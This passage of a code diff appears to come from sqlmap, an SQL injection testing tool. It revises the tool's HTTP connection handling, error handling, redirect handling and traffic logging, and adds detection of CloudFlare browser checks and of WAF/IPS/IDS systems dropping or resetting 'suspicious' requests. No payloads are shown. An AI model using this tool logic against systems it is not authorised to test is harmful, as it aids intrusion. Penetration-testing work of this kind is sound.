conf.parameters[PLACE.POST] = re.sub("(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % re.escape(value), conf.parameters[PLACE.POST])
|
||||||
|
|
||||||
|
if not kb.browserVerification and re.search(r"(?i)browser.?verification", page or ""):
|
||||||
|
kb.browserVerification = True
|
||||||
|
warnMsg = "potential browser verification protection mechanism detected"
|
||||||
|
if re.search(r"(?i)CloudFlare", page):
|
||||||
|
warnMsg += " (CloudFlare)"
|
||||||
|
singleTimeWarnMessage(warnMsg)
|
||||||
|
|
||||||
if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""):
|
if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""):
|
||||||
for match in re.finditer(r"(?si)<form.+?</form>", page):
|
for match in re.finditer(r"(?si)<form.+?</form>", page):
|
||||||
|
|||||||
@@ -144,6 +144,9 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
|
|||||||
kb.matchRatio = ratio
|
kb.matchRatio = ratio
|
||||||
logger.debug("setting match ratio for current parameter to %.3f" % kb.matchRatio)
|
logger.debug("setting match ratio for current parameter to %.3f" % kb.matchRatio)
|
||||||
|
|
||||||
|
if kb.testMode:
|
||||||
|
threadData.lastComparisonRatio = ratio
|
||||||
|
|
||||||
# If it has been requested to return the ratio and not a comparison
|
# If it has been requested to return the ratio and not a comparison
|
||||||
# response
|
# response
|
||||||
if getRatioValue:
|
if getRatioValue:
|
||||||
|
|||||||
+187
-130
@@ -81,7 +81,6 @@ from lib.core.exception import SqlmapTokenException
|
|||||||
from lib.core.exception import SqlmapValueException
|
from lib.core.exception import SqlmapValueException
|
||||||
from lib.core.settings import ASTERISK_MARKER
|
from lib.core.settings import ASTERISK_MARKER
|
||||||
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
|
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
|
||||||
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
|
|
||||||
from lib.core.settings import DEFAULT_CONTENT_TYPE
|
from lib.core.settings import DEFAULT_CONTENT_TYPE
|
||||||
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
||||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||||
@@ -105,6 +104,7 @@ from lib.core.settings import RANDOM_STRING_MARKER
|
|||||||
from lib.core.settings import REPLACEMENT_MARKER
|
from lib.core.settings import REPLACEMENT_MARKER
|
||||||
from lib.core.settings import TEXT_CONTENT_TYPE_REGEX
|
from lib.core.settings import TEXT_CONTENT_TYPE_REGEX
|
||||||
from lib.core.settings import UNENCODED_ORIGINAL_VALUE
|
from lib.core.settings import UNENCODED_ORIGINAL_VALUE
|
||||||
|
from lib.core.settings import UNICODE_ENCODING
|
||||||
from lib.core.settings import URI_HTTP_HEADER
|
from lib.core.settings import URI_HTTP_HEADER
|
||||||
from lib.core.settings import WARN_TIME_STDEV
|
from lib.core.settings import WARN_TIME_STDEV
|
||||||
from lib.request.basic import decodePage
|
from lib.request.basic import decodePage
|
||||||
@@ -146,9 +146,9 @@ class Connect(object):
|
|||||||
if kb.testMode and kb.previousMethod == PAYLOAD.METHOD.TIME:
|
if kb.testMode and kb.previousMethod == PAYLOAD.METHOD.TIME:
|
||||||
# timed based payloads can cause web server unresponsiveness
|
# timed based payloads can cause web server unresponsiveness
|
||||||
# if the injectable piece of code is some kind of JOIN-like query
|
# if the injectable piece of code is some kind of JOIN-like query
|
||||||
warnMsg = "most probably web server instance hasn't recovered yet "
|
warnMsg = "most likely web server instance hasn't recovered yet "
|
||||||
warnMsg += "from previous timed based payload. If the problem "
|
warnMsg += "from previous timed based payload. If the problem "
|
||||||
warnMsg += "persists please wait for few minutes and rerun "
|
warnMsg += "persists please wait for a few minutes and rerun "
|
||||||
warnMsg += "without flag 'T' in option '--technique' "
|
warnMsg += "without flag 'T' in option '--technique' "
|
||||||
warnMsg += "(e.g. '--flush-session --technique=BEUS') or try to "
|
warnMsg += "(e.g. '--flush-session --technique=BEUS') or try to "
|
||||||
warnMsg += "lower the value of option '--time-sec' (e.g. '--time-sec=2')"
|
warnMsg += "lower the value of option '--time-sec' (e.g. '--time-sec=2')"
|
||||||
@@ -222,6 +222,8 @@ class Connect(object):
|
|||||||
the target URL page content
|
the target URL page content
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
start = time.time()
|
||||||
|
|
||||||
if isinstance(conf.delay, (int, float)) and conf.delay > 0:
|
if isinstance(conf.delay, (int, float)) and conf.delay > 0:
|
||||||
time.sleep(conf.delay)
|
time.sleep(conf.delay)
|
||||||
|
|
||||||
@@ -256,6 +258,7 @@ class Connect(object):
|
|||||||
refreshing = kwargs.get("refreshing", False)
|
refreshing = kwargs.get("refreshing", False)
|
||||||
retrying = kwargs.get("retrying", False)
|
retrying = kwargs.get("retrying", False)
|
||||||
crawling = kwargs.get("crawling", False)
|
crawling = kwargs.get("crawling", False)
|
||||||
|
checking = kwargs.get("checking", False)
|
||||||
skipRead = kwargs.get("skipRead", False)
|
skipRead = kwargs.get("skipRead", False)
|
||||||
|
|
||||||
if multipart:
|
if multipart:
|
||||||
@@ -277,13 +280,17 @@ class Connect(object):
|
|||||||
# url splitted with space char while urlencoding it in the later phase
|
# url splitted with space char while urlencoding it in the later phase
|
||||||
url = url.replace(" ", "%20")
|
url = url.replace(" ", "%20")
|
||||||
|
|
||||||
|
if "://" not in url:
|
||||||
|
url = "http://%s" % url
|
||||||
|
|
||||||
conn = None
|
conn = None
|
||||||
code = None
|
|
||||||
page = None
|
page = None
|
||||||
|
code = None
|
||||||
|
status = None
|
||||||
|
|
||||||
_ = urlparse.urlsplit(url)
|
_ = urlparse.urlsplit(url)
|
||||||
requestMsg = u"HTTP request [#%d]:\n%s " % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
|
requestMsg = u"HTTP request [#%d]:\r\n%s " % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
|
||||||
requestMsg += ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) if not any((refreshing, crawling)) else url
|
requestMsg += getUnicode(("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) if not any((refreshing, crawling, checking)) else url)
|
||||||
responseMsg = u"HTTP response "
|
responseMsg = u"HTTP response "
|
||||||
requestHeaders = u""
|
requestHeaders = u""
|
||||||
responseHeaders = None
|
responseHeaders = None
|
||||||
@@ -305,13 +312,13 @@ class Connect(object):
|
|||||||
params = urlencode(params)
|
params = urlencode(params)
|
||||||
url = "%s?%s" % (url, params)
|
url = "%s?%s" % (url, params)
|
||||||
|
|
||||||
elif any((refreshing, crawling)):
|
elif any((refreshing, crawling, checking)):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
elif target:
|
elif target:
|
||||||
if conf.forceSSL and urlparse.urlparse(url).scheme != "https":
|
if conf.forceSSL and urlparse.urlparse(url).scheme != "https":
|
||||||
url = re.sub("\Ahttp:", "https:", url, re.I)
|
url = re.sub("(?i)\Ahttp:", "https:", url)
|
||||||
url = re.sub(":80/", ":443/", url, re.I)
|
url = re.sub("(?i):80/", ":443/", url)
|
||||||
|
|
||||||
if PLACE.GET in conf.parameters and not get:
|
if PLACE.GET in conf.parameters and not get:
|
||||||
get = conf.parameters[PLACE.GET]
|
get = conf.parameters[PLACE.GET]
|
||||||
@@ -374,16 +381,10 @@ class Connect(object):
|
|||||||
|
|
||||||
# Reset header values to original in case of provided request file
|
# Reset header values to original in case of provided request file
|
||||||
if target and conf.requestFile:
|
if target and conf.requestFile:
|
||||||
headers = OrderedDict(conf.httpHeaders)
|
headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie})
|
||||||
if cookie:
|
|
||||||
headers[HTTP_HEADER.COOKIE] = cookie
|
|
||||||
|
|
||||||
if auxHeaders:
|
if auxHeaders:
|
||||||
for key, value in auxHeaders.items():
|
headers = forgeHeaders(auxHeaders, headers)
|
||||||
for _ in headers.keys():
|
|
||||||
if _.upper() == key.upper():
|
|
||||||
del headers[_]
|
|
||||||
headers[key] = value
|
|
||||||
|
|
||||||
for key, value in headers.items():
|
for key, value in headers.items():
|
||||||
del headers[key]
|
del headers[key]
|
||||||
@@ -409,13 +410,13 @@ class Connect(object):
|
|||||||
responseHeaders = _(ws.getheaders())
|
responseHeaders = _(ws.getheaders())
|
||||||
responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]
|
responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]
|
||||||
|
|
||||||
requestHeaders += "\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
|
requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
|
||||||
requestMsg += "\n%s" % requestHeaders
|
requestMsg += "\r\n%s" % requestHeaders
|
||||||
|
|
||||||
if post is not None:
|
if post is not None:
|
||||||
requestMsg += "\n\n%s" % getUnicode(post)
|
requestMsg += "\r\n\r\n%s" % getUnicode(post)
|
||||||
|
|
||||||
requestMsg += "\n"
|
requestMsg += "\r\n"
|
||||||
|
|
||||||
threadData.lastRequestMsg = requestMsg
|
threadData.lastRequestMsg = requestMsg
|
||||||
|
|
||||||
@@ -428,26 +429,26 @@ class Connect(object):
|
|||||||
else:
|
else:
|
||||||
req = urllib2.Request(url, post, headers)
|
req = urllib2.Request(url, post, headers)
|
||||||
|
|
||||||
requestHeaders += "\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()])
|
requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()])
|
||||||
|
|
||||||
if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
|
if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
|
||||||
conf.cj._policy._now = conf.cj._now = int(time.time())
|
conf.cj._policy._now = conf.cj._now = int(time.time())
|
||||||
cookies = conf.cj._cookies_for_request(req)
|
cookies = conf.cj._cookies_for_request(req)
|
||||||
requestHeaders += "\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))
|
requestHeaders += "\r\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))
|
||||||
|
|
||||||
if post is not None:
|
if post is not None:
|
||||||
if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH):
|
if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH):
|
||||||
requestHeaders += "\n%s: %d" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))
|
requestHeaders += "\r\n%s: %d" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))
|
||||||
|
|
||||||
if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
|
if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
|
||||||
requestHeaders += "\n%s: %s" % (HTTP_HEADER.CONNECTION, "close" if not conf.keepAlive else "keep-alive")
|
requestHeaders += "\r\n%s: %s" % (HTTP_HEADER.CONNECTION, "close" if not conf.keepAlive else "keep-alive")
|
||||||
|
|
||||||
requestMsg += "\n%s" % requestHeaders
|
requestMsg += "\r\n%s" % requestHeaders
|
||||||
|
|
||||||
if post is not None:
|
if post is not None:
|
||||||
requestMsg += "\n\n%s" % getUnicode(post)
|
requestMsg += "\r\n\r\n%s" % getUnicode(post)
|
||||||
|
|
||||||
requestMsg += "\n"
|
requestMsg += "\r\n"
|
||||||
|
|
||||||
if not multipart:
|
if not multipart:
|
||||||
threadData.lastRequestMsg = requestMsg
|
threadData.lastRequestMsg = requestMsg
|
||||||
@@ -475,7 +476,7 @@ class Connect(object):
|
|||||||
return conn, None, None
|
return conn, None, None
|
||||||
|
|
||||||
# Get HTTP response
|
# Get HTTP response
|
||||||
if hasattr(conn, 'redurl'):
|
if hasattr(conn, "redurl"):
|
||||||
page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\
|
page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\
|
||||||
else Connect._connReadProxy(conn)) if not skipRead else None
|
else Connect._connReadProxy(conn)) if not skipRead else None
|
||||||
skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
|
skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
|
||||||
@@ -483,45 +484,53 @@ class Connect(object):
|
|||||||
else:
|
else:
|
||||||
page = Connect._connReadProxy(conn) if not skipRead else None
|
page = Connect._connReadProxy(conn) if not skipRead else None
|
||||||
|
|
||||||
code = code or (conn.code if conn else None)
|
if conn:
|
||||||
responseHeaders = conn.info()
|
code = conn.code
|
||||||
responseHeaders[URI_HTTP_HEADER] = conn.geturl()
|
responseHeaders = conn.info()
|
||||||
|
responseHeaders[URI_HTTP_HEADER] = conn.geturl()
|
||||||
|
else:
|
||||||
|
code = None
|
||||||
|
responseHeaders = {}
|
||||||
|
|
||||||
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
|
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
|
||||||
status = getUnicode(conn.msg)
|
status = getUnicode(conn.msg) if conn else None
|
||||||
|
|
||||||
kb.connErrorCounter = 0
|
kb.connErrorCounter = 0
|
||||||
|
|
||||||
if extractRegexResult(META_REFRESH_REGEX, page) and not refreshing:
|
if not refreshing:
|
||||||
refresh = extractRegexResult(META_REFRESH_REGEX, page)
|
refresh = responseHeaders.get(HTTP_HEADER.REFRESH, "").split("url=")[-1].strip()
|
||||||
|
|
||||||
debugMsg = "got HTML meta refresh header"
|
if extractRegexResult(META_REFRESH_REGEX, page):
|
||||||
logger.debug(debugMsg)
|
refresh = extractRegexResult(META_REFRESH_REGEX, page)
|
||||||
|
|
||||||
if kb.alwaysRefresh is None:
|
debugMsg = "got HTML meta refresh header"
|
||||||
msg = "sqlmap got a refresh request "
|
logger.debug(debugMsg)
|
||||||
msg += "(redirect like response common to login pages). "
|
|
||||||
msg += "Do you want to apply the refresh "
|
|
||||||
msg += "from now on (or stay on the original page)? [Y/n]"
|
|
||||||
choice = readInput(msg, default="Y")
|
|
||||||
|
|
||||||
kb.alwaysRefresh = choice not in ("n", "N")
|
if refresh:
|
||||||
|
if kb.alwaysRefresh is None:
|
||||||
|
msg = "sqlmap got a refresh request "
|
||||||
|
msg += "(redirect like response common to login pages). "
|
||||||
|
msg += "Do you want to apply the refresh "
|
||||||
|
msg += "from now on (or stay on the original page)? [Y/n]"
|
||||||
|
|
||||||
if kb.alwaysRefresh:
|
kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)
|
||||||
if re.search(r"\Ahttps?://", refresh, re.I):
|
|
||||||
url = refresh
|
|
||||||
else:
|
|
||||||
url = urlparse.urljoin(url, refresh)
|
|
||||||
|
|
||||||
threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
|
if kb.alwaysRefresh:
|
||||||
kwargs['refreshing'] = True
|
if re.search(r"\Ahttps?://", refresh, re.I):
|
||||||
kwargs['url'] = url
|
url = refresh
|
||||||
kwargs['get'] = None
|
else:
|
||||||
kwargs['post'] = None
|
url = urlparse.urljoin(url, refresh)
|
||||||
|
|
||||||
try:
|
threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
|
||||||
return Connect._getPageProxy(**kwargs)
|
kwargs["refreshing"] = True
|
||||||
except SqlmapSyntaxException:
|
kwargs["url"] = url
|
||||||
pass
|
kwargs["get"] = None
|
||||||
|
kwargs["post"] = None
|
||||||
|
|
||||||
|
try:
|
||||||
|
return Connect._getPageProxy(**kwargs)
|
||||||
|
except SqlmapSyntaxException:
|
||||||
|
pass
|
||||||
|
|
||||||
# Explicit closing of connection object
|
# Explicit closing of connection object
|
||||||
if conn and not conf.keepAlive:
|
if conn and not conf.keepAlive:
|
||||||
@@ -533,10 +542,22 @@ class Connect(object):
|
|||||||
warnMsg = "problem occurred during connection closing ('%s')" % getSafeExString(ex)
|
warnMsg = "problem occurred during connection closing ('%s')" % getSafeExString(ex)
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
except SqlmapConnectionException, ex:
|
||||||
|
if conf.proxyList and not kb.threadException:
|
||||||
|
warnMsg = "unable to connect to the target URL ('%s')" % ex
|
||||||
|
logger.critical(warnMsg)
|
||||||
|
threadData.retriesCount = conf.retries
|
||||||
|
return Connect._retryProxy(**kwargs)
|
||||||
|
else:
|
||||||
|
raise
|
||||||
|
|
||||||
except urllib2.HTTPError, ex:
|
except urllib2.HTTPError, ex:
|
||||||
page = None
|
page = None
|
||||||
responseHeaders = None
|
responseHeaders = None
|
||||||
|
|
||||||
|
if checking:
|
||||||
|
return None, None, None
|
||||||
|
|
||||||
try:
|
try:
|
||||||
page = ex.read() if not skipRead else None
|
page = ex.read() if not skipRead else None
|
||||||
responseHeaders = ex.info()
|
responseHeaders = ex.info()
|
||||||
@@ -555,63 +576,65 @@ class Connect(object):
|
|||||||
page = page if isinstance(page, unicode) else getUnicode(page)
|
page = page if isinstance(page, unicode) else getUnicode(page)
|
||||||
|
|
||||||
code = ex.code
|
code = ex.code
|
||||||
|
status = getUnicode(ex.msg)
|
||||||
|
|
||||||
kb.originalCode = kb.originalCode or code
|
kb.originalCode = kb.originalCode or code
|
||||||
threadData.lastHTTPError = (threadData.lastRequestUID, code)
|
threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
|
||||||
kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1
|
kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1
|
||||||
|
|
||||||
status = getUnicode(ex.msg)
|
responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, status)
|
||||||
responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, status)
|
|
||||||
|
|
||||||
if responseHeaders:
|
if responseHeaders:
|
||||||
logHeaders = "\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
|
logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
|
||||||
|
|
||||||
logHTTPTraffic(requestMsg, "%s%s\n\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]))
|
logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time())
|
||||||
|
|
||||||
skipLogTraffic = True
|
skipLogTraffic = True
|
||||||
|
|
||||||
if conf.verbose <= 5:
|
if conf.verbose <= 5:
|
||||||
responseMsg += getUnicode(logHeaders)
|
responseMsg += getUnicode(logHeaders)
|
||||||
elif conf.verbose > 5:
|
elif conf.verbose > 5:
|
||||||
responseMsg += "%s\n\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE])
|
responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE])
|
||||||
|
|
||||||
if not multipart:
|
if not multipart:
|
||||||
logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
|
logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
|
||||||
|
|
||||||
if ex.code == httplib.UNAUTHORIZED and not conf.ignore401:
|
if ex.code != conf.ignoreCode:
|
||||||
errMsg = "not authorized, try to provide right HTTP "
|
if ex.code == httplib.UNAUTHORIZED:
|
||||||
errMsg += "authentication type and valid credentials (%d)" % code
|
errMsg = "not authorized, try to provide right HTTP "
|
||||||
raise SqlmapConnectionException(errMsg)
|
errMsg += "authentication type and valid credentials (%d)" % code
|
||||||
elif ex.code == httplib.NOT_FOUND:
|
|
||||||
if raise404:
|
|
||||||
errMsg = "page not found (%d)" % code
|
|
||||||
raise SqlmapConnectionException(errMsg)
|
raise SqlmapConnectionException(errMsg)
|
||||||
else:
|
elif ex.code == httplib.NOT_FOUND:
|
||||||
debugMsg = "page not found (%d)" % code
|
if raise404:
|
||||||
singleTimeLogMessage(debugMsg, logging.DEBUG)
|
errMsg = "page not found (%d)" % code
|
||||||
processResponse(page, responseHeaders)
|
raise SqlmapConnectionException(errMsg)
|
||||||
elif ex.code == httplib.GATEWAY_TIMEOUT:
|
|
||||||
if ignoreTimeout:
|
|
||||||
return None if not conf.ignoreTimeouts else "", None, None
|
|
||||||
else:
|
|
||||||
warnMsg = "unable to connect to the target URL (%d - %s)" % (ex.code, httplib.responses[ex.code])
|
|
||||||
if threadData.retriesCount < conf.retries and not kb.threadException:
|
|
||||||
warnMsg += ". sqlmap is going to retry the request"
|
|
||||||
logger.critical(warnMsg)
|
|
||||||
return Connect._retryProxy(**kwargs)
|
|
||||||
elif kb.testMode:
|
|
||||||
logger.critical(warnMsg)
|
|
||||||
return None, None, None
|
|
||||||
else:
|
else:
|
||||||
raise SqlmapConnectionException(warnMsg)
|
debugMsg = "page not found (%d)" % code
|
||||||
else:
|
singleTimeLogMessage(debugMsg, logging.DEBUG)
|
||||||
debugMsg = "got HTTP error code: %d (%s)" % (code, status)
|
elif ex.code == httplib.GATEWAY_TIMEOUT:
|
||||||
logger.debug(debugMsg)
|
if ignoreTimeout:
|
||||||
|
return None if not conf.ignoreTimeouts else "", None, None
|
||||||
|
else:
|
||||||
|
warnMsg = "unable to connect to the target URL (%d - %s)" % (ex.code, httplib.responses[ex.code])
|
||||||
|
if threadData.retriesCount < conf.retries and not kb.threadException:
|
||||||
|
warnMsg += ". sqlmap is going to retry the request"
|
||||||
|
logger.critical(warnMsg)
|
||||||
|
return Connect._retryProxy(**kwargs)
|
||||||
|
elif kb.testMode:
|
||||||
|
logger.critical(warnMsg)
|
||||||
|
return None, None, None
|
||||||
|
else:
|
||||||
|
raise SqlmapConnectionException(warnMsg)
|
||||||
|
else:
|
||||||
|
debugMsg = "got HTTP error code: %d (%s)" % (code, status)
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
except (urllib2.URLError, socket.error, socket.timeout, httplib.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError):
|
except (urllib2.URLError, socket.error, socket.timeout, httplib.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError):
|
||||||
tbMsg = traceback.format_exc()
|
tbMsg = traceback.format_exc()
|
||||||
|
|
||||||
if "no host given" in tbMsg:
|
if checking:
|
||||||
|
return None, None, None
|
||||||
|
elif "no host given" in tbMsg:
|
||||||
warnMsg = "invalid URL address used (%s)" % repr(url)
|
warnMsg = "invalid URL address used (%s)" % repr(url)
|
||||||
raise SqlmapSyntaxException(warnMsg)
|
raise SqlmapSyntaxException(warnMsg)
|
||||||
elif "forcibly closed" in tbMsg or "Connection is already closed" in tbMsg:
|
elif "forcibly closed" in tbMsg or "Connection is already closed" in tbMsg:
|
||||||
@@ -626,7 +649,17 @@ class Connect(object):
|
|||||||
|
|
||||||
if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
|
if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
|
||||||
singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is dropping 'suspicious' requests")
|
singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is dropping 'suspicious' requests")
|
||||||
|
kb.droppingRequests = True
|
||||||
warnMsg = "connection timed out to the target URL"
|
warnMsg = "connection timed out to the target URL"
|
||||||
|
elif "Connection reset" in tbMsg:
|
||||||
|
if not conf.disablePrecon:
|
||||||
|
singleTimeWarnMessage("turning off pre-connect mechanism because of connection reset(s)")
|
||||||
|
conf.disablePrecon = True
|
||||||
|
|
||||||
|
if kb.testMode:
|
||||||
|
singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is resetting 'suspicious' requests")
|
||||||
|
kb.droppingRequests = True
|
||||||
|
warnMsg = "connection reset to the target URL"
|
||||||
elif "URLError" in tbMsg or "error" in tbMsg:
|
elif "URLError" in tbMsg or "error" in tbMsg:
|
||||||
warnMsg = "unable to connect to the target URL"
|
warnMsg = "unable to connect to the target URL"
|
||||||
match = re.search(r"Errno \d+\] ([^>]+)", tbMsg)
|
match = re.search(r"Errno \d+\] ([^>]+)", tbMsg)
|
||||||
@@ -634,6 +667,8 @@ class Connect(object):
|
|||||||
warnMsg += " ('%s')" % match.group(1).strip()
|
warnMsg += " ('%s')" % match.group(1).strip()
|
||||||
elif "NTLM" in tbMsg:
|
elif "NTLM" in tbMsg:
|
||||||
warnMsg = "there has been a problem with NTLM authentication"
|
warnMsg = "there has been a problem with NTLM authentication"
|
||||||
|
elif "Invalid header name" in tbMsg: # (e.g. PostgreSQL ::Text payload)
|
||||||
|
return None, None, None
|
||||||
elif "BadStatusLine" in tbMsg:
|
elif "BadStatusLine" in tbMsg:
|
||||||
warnMsg = "connection dropped or unknown HTTP "
|
warnMsg = "connection dropped or unknown HTTP "
|
||||||
warnMsg += "status code received"
|
warnMsg += "status code received"
|
||||||
@@ -653,6 +688,9 @@ class Connect(object):
|
|||||||
if "BadStatusLine" not in tbMsg and any((conf.proxy, conf.tor)):
|
if "BadStatusLine" not in tbMsg and any((conf.proxy, conf.tor)):
|
||||||
warnMsg += " or proxy"
|
warnMsg += " or proxy"
|
||||||
|
|
||||||
|
if silent:
|
||||||
|
return None, None, None
|
||||||
|
|
||||||
with kb.locks.connError:
|
with kb.locks.connError:
|
||||||
kb.connErrorCounter += 1
|
kb.connErrorCounter += 1
|
||||||
|
|
||||||
@@ -660,14 +698,13 @@ class Connect(object):
|
|||||||
message = "there seems to be a continuous problem with connection to the target. "
|
message = "there seems to be a continuous problem with connection to the target. "
|
||||||
message += "Are you sure that you want to continue "
|
message += "Are you sure that you want to continue "
|
||||||
message += "with further target testing? [y/N] "
|
message += "with further target testing? [y/N] "
|
||||||
kb.connErrorChoice = readInput(message, default="N") in ("Y", "y")
|
|
||||||
|
kb.connErrorChoice = readInput(message, default='N', boolean=True)
|
||||||
|
|
||||||
if kb.connErrorChoice is False:
|
if kb.connErrorChoice is False:
|
||||||
raise SqlmapConnectionException(warnMsg)
|
raise SqlmapConnectionException(warnMsg)
|
||||||
|
|
||||||
if silent:
|
if "forcibly closed" in tbMsg:
|
||||||
return None, None, None
|
|
||||||
elif "forcibly closed" in tbMsg:
|
|
||||||
logger.critical(warnMsg)
|
logger.critical(warnMsg)
|
||||||
return None, None, None
|
return None, None, None
|
||||||
elif ignoreTimeout and any(_ in tbMsg for _ in ("timed out", "IncompleteRead")):
|
elif ignoreTimeout and any(_ in tbMsg for _ in ("timed out", "IncompleteRead")):
|
||||||
@@ -694,7 +731,7 @@ class Connect(object):
|
|||||||
page = getUnicode(page)
|
page = getUnicode(page)
|
||||||
socket.setdefaulttimeout(conf.timeout)
|
socket.setdefaulttimeout(conf.timeout)
|
||||||
|
|
||||||
processResponse(page, responseHeaders)
|
processResponse(page, responseHeaders, status)
|
||||||
|
|
||||||
if conn and getattr(conn, "redurl", None):
|
if conn and getattr(conn, "redurl", None):
|
||||||
_ = urlparse.urlsplit(conn.redurl)
|
_ = urlparse.urlsplit(conn.redurl)
|
||||||
@@ -706,20 +743,20 @@ class Connect(object):
|
|||||||
requestMsg = re.sub("(?i)Content-length: \d+\n", "", requestMsg)
|
requestMsg = re.sub("(?i)Content-length: \d+\n", "", requestMsg)
|
||||||
requestMsg = re.sub("(?s)\n\n.+", "\n", requestMsg)
|
requestMsg = re.sub("(?s)\n\n.+", "\n", requestMsg)
|
||||||
|
|
||||||
responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, conn.code, status)
|
responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, conn.code, status)
|
||||||
else:
|
else:
|
||||||
responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, status)
|
responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, status)
|
||||||
|
|
||||||
if responseHeaders:
|
if responseHeaders:
|
||||||
logHeaders = "\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
|
logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
|
||||||
|
|
||||||
if not skipLogTraffic:
|
if not skipLogTraffic:
|
||||||
logHTTPTraffic(requestMsg, "%s%s\n\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]))
|
logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time())
|
||||||
|
|
||||||
if conf.verbose <= 5:
|
if conf.verbose <= 5:
|
||||||
responseMsg += getUnicode(logHeaders)
|
responseMsg += getUnicode(logHeaders)
|
||||||
elif conf.verbose > 5:
|
